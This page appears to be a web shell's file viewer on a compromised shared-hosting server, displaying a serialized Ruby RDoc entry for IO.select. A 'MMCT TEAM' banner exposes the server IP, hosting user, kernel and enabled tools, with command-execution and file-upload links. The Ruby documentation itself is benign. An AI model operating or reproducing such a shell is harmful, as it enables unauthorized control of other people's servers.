MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /proc/thread-self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/IO/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/thread-self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/IO/select-c.ri
U:RDoc::AnyMethod[iI"select:ETI"IO::select;TT:publico:RDoc::Markup::Document:@parts[-o:RDoc::Markup::Paragraph;	[I""Calls select(2) system call. ;TI"RIt monitors given arrays of <code>IO</code> objects, waits until one or more ;TI"Nof <code>IO</code> objects are ready for reading, are ready for writing, ;TI"Iand have pending exceptions respectively, and returns an array that ;TI"@contains arrays of those IO objects.  It will return +nil+ ;TI"Mif optional <i>timeout</i> value is given and no <code>IO</code> object ;TI"(is ready in <i>timeout</i> seconds.;To:RDoc::Markup::BlankLineo;
;	[
I"a<code>IO.select</code> peeks the buffer of <code>IO</code> objects for testing readability. ;TI"1If the <code>IO</code> buffer is not empty, ;TI"><code>IO.select</code> immediately notifies readability. ;TI";This "peek" only happens for <code>IO</code> objects. ;TI"LIt does not happen for IO-like objects such as OpenSSL::SSL::SSLSocket.;T@o;
;	[I"?The best way to use <code>IO.select</code> is invoking it ;TI"eafter nonblocking methods such as <code>read_nonblock</code>, <code>write_nonblock</code>, etc. ;TI"9The methods raise an exception which is extended by ;TI"E<code>IO::WaitReadable</code> or <code>IO::WaitWritable</code>. ;TI"PThe modules notify how the caller should wait with <code>IO.select</code>. ;TI"UIf <code>IO::WaitReadable</code> is raised, the caller should wait for reading. ;TI"TIf <code>IO::WaitWritable</code> is raised, the caller should wait for writing.;T@o;
;	[I"HSo, blocking read (<code>readpartial</code>) can be emulated using ;TI"F<code>read_nonblock</code> and <code>IO.select</code> as follows:;T@o:RDoc::Markup::Verbatim;	[I"begin
;TI".  result = io_like.read_nonblock(maxlen)
;TI"rescue IO::WaitReadable
;TI"  IO.select([io_like])
;TI"
  retry
;TI"rescue IO::WaitWritable
;TI"!  IO.select(nil, [io_like])
;TI"
  retry
;TI"	end
;T:@format0o;
;	[
I"<Especially, the combination of nonblocking methods and ;TI"B<code>IO.select</code> is preferred for <code>IO</code> like ;TI";objects such as <code>OpenSSL::SSL::SSLSocket</code>. ;TI"SIt has <code>to_io</code> method to return underlying <code>IO</code> object. ;TI"[<code>IO.select</code> calls <code>to_io</code> to obtain the file descriptor to wait.;T@o;
;	[I"QThis means that readability notified by <code>IO.select</code> doesn't mean ;TI"Breadability from <code>OpenSSL::SSL::SSLSocket</code> object.;T@o;
;	[I"_The most likely situation is that <code>OpenSSL::SSL::SSLSocket</code> buffers some data. ;TI"4<code>IO.select</code> doesn't see the buffer. ;TI"mSo <code>IO.select</code> can block when <code>OpenSSL::SSL::SSLSocket#readpartial</code> doesn't block.;T@o;
;	[I"8However, several more complicated situations exist.;T@o;
;	[I"5SSL is a protocol which is sequence of records. ;TI",The record consists of multiple bytes. ;TI"8So, the remote side of SSL sends a partial record, ;TI"5<code>IO.select</code> notifies readability but ;TI"D<code>OpenSSL::SSL::SSLSocket</code> cannot decrypt a byte and ;TI"B<code>OpenSSL::SSL::SSLSocket#readpartial</code> will blocks.;T@o;
;	[I"FAlso, the remote side can request SSL renegotiation which forces ;TI".the local SSL engine to write some data. ;TI"EThis means <code>OpenSSL::SSL::SSLSocket#readpartial</code> may ;TI"=invoke <code>write</code> system call and it can block. ;TI"MIn such a situation, <code>OpenSSL::SSL::SSLSocket#read_nonblock</code> ;TI"2raises IO::WaitWritable instead of blocking. ;TI"KSo, the caller should wait for ready for writability as above example.;T@o;
;	[I"JThe combination of nonblocking methods and <code>IO.select</code> is ;TI"Balso useful for streams such as tty, pipe socket socket when ;TI"+multiple processes read from a stream.;T@o;
;	[	I";Finally, Linux kernel developers don't guarantee that ;TI"Jreadability of select(2) means readability of following read(2) even ;TI"for a single process. ;TI".See select(2) manual on GNU/Linux system.;T@o;
;	[I"]Invoking <code>IO.select</code> before <code>IO#readpartial</code> works well as usual. ;TI"BHowever it is not the best way to use <code>IO.select</code>.;T@o;
;	[
I"8The writability notified by select(2) doesn't show ;TI"how many bytes writable. ;TI"N<code>IO#write</code> method blocks until given whole string is written. ;TI"uSo, <code>IO#write(two or more bytes)</code> can block after writability is notified by <code>IO.select</code>. ;TI"F<code>IO#write_nonblock</code> is required to avoid the blocking.;T@o;
;	[I"?Blocking write (<code>write</code>) can be emulated using ;TI"H<code>write_nonblock</code> and <code>IO.select</code> as follows: ;TI"kIO::WaitReadable should also be rescued for SSL renegotiation in <code>OpenSSL::SSL::SSLSocket</code>.;T@o;;	[I"while 0 < string.bytesize
;TI"
  begin
;TI"2    written = io_like.write_nonblock(string)
;TI"  rescue IO::WaitReadable
;TI"    IO.select([io_like])
;TI"    retry
;TI"  rescue IO::WaitWritable
;TI"#    IO.select(nil, [io_like])
;TI"    retry
;TI"  end
;TI".  string = string.byteslice(written..-1)
;TI"	end
;T;
0S:RDoc::Markup::Heading:
leveli:	textI"Parameters;To:RDoc::Markup::List:
@type:	NOTE:@items[	o:RDoc::Markup::ListItem:@label[I"read_array;T;	[o;
;	[I"Gan array of <code>IO</code> objects that wait until ready for read;To;;[I"write_array;T;	[o;
;	[I"Han array of <code>IO</code> objects that wait until ready for write;To;;[I"error_array;T;	[o;
;	[I"Aan array of <code>IO</code> objects that wait for exceptions;To;;[I"timeout;T;	[o;
;	[I"a numeric value in second;T@S;;i;I"Example;T@o;;	[I"rp, wp = IO.pipe
;TI"mesg = "ping "
;TI"100.times {
;TI"H  # IO.select follows IO#read.  Not the best way to use IO.select.
;TI"'  rs, ws, = IO.select([rp], [wp])
;TI"  if r = rs[0]
;TI"    ret = r.read(5)
;TI"    print ret
;TI"    case ret
;TI"    when /ping/
;TI"      mesg = "pong\n"
;TI"    when /pong/
;TI"      mesg = "ping "
;TI"
    end
;TI"  end
;TI"  if w = ws[0]
;TI"    w.write(mesg)
;TI"  end
;TI"}
;T;
0o;
;	[I"<em>produces:</em>;T@o;;	[
I"ping pong
;TI"ping pong
;TI"ping pong
;TI"(snipped)
;TI"	ping;T;
0:
@fileI"	io.c;T:0@omit_headings_from_table_of_contents_below0I"WIO.select(read_array [, write_array [, error_array [, timeout]]]) -> array or nil
;T0[I"$(p1, p2 = v2, p3 = v3, p4 = v4);T@�FI"IO;TcRDoc::NormalClass00

MMCT - 2023